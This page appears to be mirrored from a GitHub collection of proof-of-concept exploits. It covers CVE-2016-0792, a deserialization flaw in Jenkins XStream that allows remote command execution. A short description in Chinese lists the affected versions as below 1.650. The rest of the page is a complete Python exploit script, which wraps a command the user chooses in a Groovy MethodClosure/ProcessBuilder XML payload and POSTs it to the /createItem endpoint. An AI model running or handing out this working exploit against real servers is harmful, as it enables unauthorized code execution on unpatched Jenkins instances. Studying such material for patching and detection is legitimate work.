mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-07 03:44:10 +00:00
102 lines
3.1 KiB
Markdown
102 lines
3.1 KiB
Markdown
# Jenkins XStream 反序列化漏洞 CVE-2016-0792
|
||
|
||
## 漏洞描述
|
||
|
||
国外网站`Contrast Security`于2016年2月24日在公开了Jenkins近日修复的一个可通过低权限用户调用API服务致使的命令执行漏洞详情。通过低权限用户构造一个恶意的XML文档发送至服务端接口,使服务端解析时调用API执行外部命令。
|
||
|
||
## 漏洞影响
|
||
|
||
```
|
||
jenkins版本小于1.650(1.650版本已修复该问题)
|
||
```
|
||
|
||
## 漏洞EXP
|
||
|
||
```python
|
||
#! /usr/bin/env python2
|
||
|
||
#Jenkins Groovy XML RCE (CVE-2016-0792)
|
||
#Note: Although this is listed as a pre-auth RCE, during my testing it only worked if authentication was disabled in Jenkins
|
||
#Made with <3 by @byt3bl33d3r
|
||
|
||
from __future__ import print_function
|
||
import requests
|
||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||
|
||
import argparse
|
||
import sys
|
||
|
||
parser = argparse.ArgumentParser()
|
||
parser.add_argument('target', type=str, help='Target IP:PORT')
|
||
parser.add_argument('command', type=str, help='Command to run on target')
|
||
parser.add_argument('--proto', choices={'http', 'https'}, default='http', help='Send exploit over http or https (default: http)')
|
||
|
||
if len(sys.argv) < 2:
|
||
parser.print_help()
|
||
sys.exit(1)
|
||
|
||
args = parser.parse_args()
|
||
|
||
if len(args.target.split(':')) != 2:
|
||
print('[-] Target must be in format IP:PORT')
|
||
sys.exit(1)
|
||
|
||
if not args.command:
|
||
print('[-] You must specify a command to run')
|
||
sys.exit(1)
|
||
|
||
ip, port = args.target.split(':')
|
||
|
||
print('[*] Target IP: {}'.format(ip))
|
||
print('[*] Target PORT: {}'.format(port))
|
||
|
||
xml_formatted = ''
|
||
command_list = args.command.split()
|
||
for cmd in command_list:
|
||
xml_formatted += '{:>16}<string>{}</string>\n'.format('', cmd)
|
||
|
||
xml_payload = '''<map>
|
||
<entry>
|
||
<groovy.util.Expando>
|
||
<expandoProperties>
|
||
<entry>
|
||
<string>hashCode</string>
|
||
<org.codehaus.groovy.runtime.MethodClosure>
|
||
<delegate class="groovy.util.Expando" reference="../../../.."/>
|
||
<owner class="java.lang.ProcessBuilder">
|
||
<command>
|
||
{}
|
||
</command>
|
||
<redirectErrorStream>false</redirectErrorStream>
|
||
</owner>
|
||
<resolveStrategy>0</resolveStrategy>
|
||
<directive>0</directive>
|
||
<parameterTypes/>
|
||
<maximumNumberOfParameters>0</maximumNumberOfParameters>
|
||
<method>start</method>
|
||
</org.codehaus.groovy.runtime.MethodClosure>
|
||
</entry>
|
||
</expandoProperties>
|
||
</groovy.util.Expando>
|
||
<int>1</int>
|
||
</entry>
|
||
</map>'''.format(xml_formatted.strip())
|
||
|
||
print('[*] Generated XML payload:')
|
||
print(xml_payload)
|
||
print()
|
||
|
||
print('[*] Sending payload')
|
||
headers = {'Content-Type': 'text/xml'}
|
||
r = requests.post('{}://{}:{}/createItem?name=rand_dir'.format(args.proto, ip, port), verify=False, headers=headers, data=xml_payload)
|
||
|
||
paths_in_trace = ['jobs/rand_dir/config.xml', 'jobs\\rand_dir\\config.xml']
|
||
if r.status_code == 500:
|
||
for path in paths_in_trace:
|
||
if path in r.text:
|
||
print('[+] Command executed successfully')
|
||
break
|
||
```
|
||
|